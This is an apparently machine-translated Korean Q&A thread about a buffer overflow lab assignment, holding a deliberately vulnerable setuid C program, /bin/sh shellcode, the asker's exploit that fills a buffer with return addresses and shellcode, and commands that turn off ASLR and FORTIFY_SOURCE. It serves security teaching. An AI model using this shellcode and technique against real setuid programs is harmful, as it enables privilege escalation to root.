2013-02-16 9 views
1

내가 붙어있는 실험실 지정이 있습니다. 기본적으로, 나는 루트 권한을 가진 셸을 생성하기 위해 버퍼 오버 플로우를 이용해야한다. 별도의 .c 파일 2 개를 사용해야합니다. 여기 stack.c버퍼 오버 플로우 취약점 실험실 문제

#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
int bof(char *str) 
{ 
    char buffer[12]; 

    //BO Vulnerability 
    strcpy(buffer,str); 

    return 1; 
} 

int main(int argc, char* argv[]) 
{ 
    char str[517]; 

    FILE *badfile; 
    badfile = fopen("badfile","r"); 

    fread(str, sizeof(char),517, badfile); 
    bof(str); 

    printf("Returned Properly\n"); 
    return 1; 
} 

두 번째입니다 : 다음은 첫 번째입니다 exploit.c

#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
char shellcode[]= 
"\x31\xc0"    /* xorl %eax,%eax    */ 
"\x50"     /* pushl %eax     */ 
"\x68""//sh"   /* pushl $0x68732f2f   */ 
"\x68""/bin"   /* pushl $0x6e69622f   */ 
"\x89\xe3"    /* movl %esp,%ebx    */ 
"\x50"     /* pushl %eax     */ 
"\x53"     /* pushl %ebx     */ 
"\x89\xe1"    /* movl %esp,%ecx    */ 
"\x99"     /* cdql       */ 
"\xb0\x0b"    /* movb $0x0b,%al    */  
"\xcd\x80"    /* int  $0x80     */ 
; 
void main(int argc, char **argv) 
{ 
    char buffer[517]; 
    FILE *badfile; 
    /* Initialize buffer with 0x90 (NOP instruction) */ 
    memset(&buffer, 0x90, 517); 
/* You need to fill the buffer with appropriate contents here */ 
/* Save the contents to the file "badfile" */ 
    badfile = fopen("./badfile", "w"); 
    fwrite(buffer, 517, 1, badfile); 
    fclose(badfile); 
} 

난 단지 두 번째를 수정할 수 있습니다. 여기에 내가 변경 한 내용은 다음과 같습니다가 실제 데이터와 쉘과 함께 "BADFILE"를 생성 않지만

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#define DEFAULT_OFFSET 350 

char shellcode[]= 
"\x31\xc0"    /* xorl %eax,%eax    */ 
"\x50"     /* pushl %eax     */ 
"\x68""//sh"   /* pushl $0x68732f2f   */ 
"\x68""/bin"   /* pushl $0x6e69622f   */ 
"\x89\xe3"    /* movl %esp,%ebx    */ 
"\x50"     /* pushl %eax     */ 
"\x53"     /* pushl %ebx     */ 
"\x89\xe1"    /* movl %esp,%ecx    */ 
"\x99"     /* cdql       */ 
"\xb0\x0b"    /* movb $0x0b,%al    */  
"\xcd\x80"    /* int  $0x80     */ 

unsigned long get_sp(void) 
{ 
    __asm__("movl %esp,%eax"); 
} 

void main(int argc, char **argv) 
{ 
    char buffer[517]; 
    FILE *badfile; 
    char *ptr; 
    long *a_ptr,ret; 

    int offset = DEFAULT_OFFSET; 
    int codeSize = sizeof(shellcode); 
    int buffSize = sizeof(buffer); 

    if(argc > 1) offset = atoi(argv[1]); //allows for command line input 

    ptr=buffer; 
    a_ptr = (long *) ptr; 

    /* Initialize buffer with 0x90 (NOP instruction) */ 
    memset(buffer, 0x90, buffSize); 

//----------------------BEGIN FILL BUFFER----------------------\\ 

    ret = get_sp()+offset; 
    printf("Return Address: 0x%x\n",get_sp()); 
    printf("Address: 0x%x\n",ret); 

    ptr = buffer; 
    a_ptr = (long *) ptr; 

    int i; 
    for (i = 0; i < 300;i+=4) 
    { 
     *(a_ptr++) = ret; 
    } 

    for(i = 486;i < codeSize + 486;++i) 
    { 
     buffer[i] = shellcode[i-486]; 
    { 
    buffer[buffSize - 1] = '\0'; 
//-----------------------END FILL BUFFER-----------------------\\ 


/* Save the contents to the file "badfile" */ 
    badfile = fopen("./badfile", "w"); 
    fwrite(buffer,517,1,badfile); 
    fclose(badfile);  
} 

난 후,

$ su root 
$ Password (enter root password) 
# gcc -o stack -fno-stack-protector stack.c 
# chmod 4755 stack 
# exit 
$ gcc -o exploit exploit.c 
$./exploit 
$./stack 

그러나 명령 줄에서 다음을 실행, 쉘 만했다 기본 사용자 권한을가집니다. 내가 "스택을 실행 한 후 때 내가 할 경우 해당,

sysctl -w kernel.randomize_va_space=0 

그러나 :

echo 0 > /proc/sys/kernel/randomize_va_space 

랩 내가 대신 루트에서 다음을 실행해야 말한다 : 사전에, 나는 루트에서 다음을 실행했다 ","잘못된 명령 "오류가 발생합니다. 누군가 이걸 가지고 나를 도울 수 있습니까?

+1

컴파일 된 스택 파일의 소유 여부를 확인 했습니까? – Michael

+1

http://stackoverflow.com/q/14903394/905902 정확한 복제본 (바보 같은 메인() ...)을 포함합니다. – wildplasser

답변

2

나는 문제가 무엇인지 알아 냈다. zsh를/bin/bash /에 링크해야했습니다. 나는 Fedora를 사용하고있을 때만 그렇게해야한다고 생각했기 때문에 나는 그것을 건너 뜁니다. 나는 우분투를 사용하고 있었다.

+0

나는 이것이 낡았다는 것을 알고 있지만, 여전히 주위에 있다면, __asm ​​__ ("movl % esp, % eax "); 그렇다면 어떻게 작동합니까? –

0
strcpy(buffer, str); 
당신이 테스트 중에 해결해야 할 일들의

하나는이 함수 호출이다.

FORTIFY_SOURCE는 memcpystrcpy과 같이 위험도가 높은 기능의 "안전한"변종을 사용합니다. 컴파일러는 대상 버퍼 크기를 추론 할 수있는 경우보다 안전한 변형을 사용합니다. 복사본이 대상 버퍼 크기를 초과하면 프로그램은 abort()을 호출합니다.

테스트를 위해 FORTIFY_SOURCE를 사용하지 않으려면 -U_FORTIFY_SOURCE 또는 -D_FORTIFY_SOURCE=0으로 프로그램을 컴파일해야합니다.